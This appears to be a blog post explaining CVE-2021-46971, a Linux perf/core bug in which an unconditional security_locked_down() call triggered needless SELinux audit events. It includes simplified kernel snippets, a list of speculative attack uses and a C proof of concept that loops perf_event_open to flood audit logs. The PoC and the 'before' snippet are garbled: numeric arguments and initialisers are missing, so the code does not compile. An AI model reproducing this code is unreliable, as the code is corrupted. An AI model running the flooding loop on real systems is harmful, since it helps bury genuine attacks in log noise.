Security in the Linux Kernel is always evolving, but sometimes fixes introduce complications of their own. In CVE-2021-46971, the Linux Kernel’s perf/core subsystem had a subtle but impactful bug. This post gives you an in-depth, easy-to-understand look at what went wrong, why it’s important, how it was fixed, and the potential for exploit in certain circumstances.

Background

Linux kernel provides performance monitoring tools through the perf subsystem. The perf_event_open syscall lets various userspace programs collect detailed stats and traces about running processes. To protect sensitive operations, Linux can run in "lockdown" mode, restricting access to hardware and certain features. This is checked by security_locked_down() function.

The kernel code looked like this (simplified)

security_locked_down(LKD_PERF);
if (attr.sample_type & PERF_SAMPLE_REGS_INTR)
    // honor lockdown state

That means security_locked_down() was always being called—even if its result wasn’t needed!

Why Is That a Problem?

In Lockdown LSM, this extra call doesn't matter. But most distros also run SELinux—a much more powerful security module that logs every permission check.

- SELinux tracks every such call and generates an audit log and possibly a denied permission event if the current process doesn't have the right "lockdown" permissions.
- The problem: SELinux may log or even block actions based on these needless checks—even though the outcome is ignored! This leads to:

Possible policy denials in weird contexts

*That’s confusing, hard to debug, and potentially security-reducing if sysadmins ignore critical logs due to excessive noise.*

The Fix

The fix is simple: check if the kernel will actually use the value before calling the possibly heavy or sensitive security function.

Patched code (simplified)

if (attr.sample_type & PERF_SAMPLE_REGS_INTR) {
    if (security_locked_down(LKD_PERF))
        // honor lockdown state
}

Now, the check only happens when needed. No spurious SELinux events!

Commit Reference

- perf/core: Fix unconditional security_locked_down() call (kernel.org)

Exploit Details

While this issue doesn’t directly allow privilege escalation or arbitrary code execution, it could assist an attacker in the following ways:

1. Audit Log Flooding: Repeatedly trigger the buggy perf syscalls to flood the audit log, making it harder for administrators to spot real attacks.

2. Information Leak: On certain hardened systems, by examining when a log is triggered (if any SELinux alerts), an attacker may be able to infer whether some dangerous perf flags are being used by privileged tasks.

3. Accidental Policy Bypass: Some systems may use scripts or automated tools to react to specific SELinux denials. False events could cause confusion or mismanagement.

Exploit PoC (Proof of Concept)

Here’s a C code snippet that rapidly calls the perf_event_open syscall with benign attributes, causing audit logs on affected kernels with SELinux:

#include <sys/syscall.h>
#include <linux/perf_event.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>

int main() {
    struct perf_event_attr attr;
    memset(&attr, , sizeof(attr));
    attr.type = PERF_TYPE_SOFTWARE;
    attr.config = PERF_COUNT_SW_CPU_CLOCK;
    // Do NOT set PERF_SAMPLE_REGS_INTR -- so security call is useless

    for (int i = ; i < 100; i++) {
        syscall(__NR_perf_event_open, &attr, , -1, -1, );
    }
    printf("Done\n");
    return ;
}

On a vulnerable kernel, this will create a storm of SELinux logs for lockdown checks—even though they serve no security purpose.

How Was It Discovered?

Kernel contributors observed strange SELinux audit logs that didn’t match actual accesses, especially after recent perf usage with tools like perf top or perf record.

This bug might have been introduced by previous attempts to harden perf access.

Forensics and code review led to the discovery: checks were being made unconditionally, against the spirit of the kernel’s least privilege principle.

Final Thoughts & References

While CVE-2021-46971 is not a smoking gun of rootkits or memory corruption, it’s a textbook example of "least surprise" and privilege minimization in kernel development:

Upstream kernel commit:

kernel.org commit 51e5637f

CVE record:

NVD entry for CVE-2021-46971

selinux project:

SELinux Project at github

Summary

- _CVE-2021-46971_ affected the way Linux perf/core called security lockdown hooks.
- Unnecessary security checks caused excessive audit logs and possible policy misfires, especially with SELinux.

No direct privilege escalation is possible, but attackers could exploit audit flooding.

- Keeping log files clean and accurate is part of solid system security—so always patch your kernels!

Timeline

Published on: 02/27/2024 19:04:07 UTC
Last modified on: 01/08/2025 17:26:07 UTC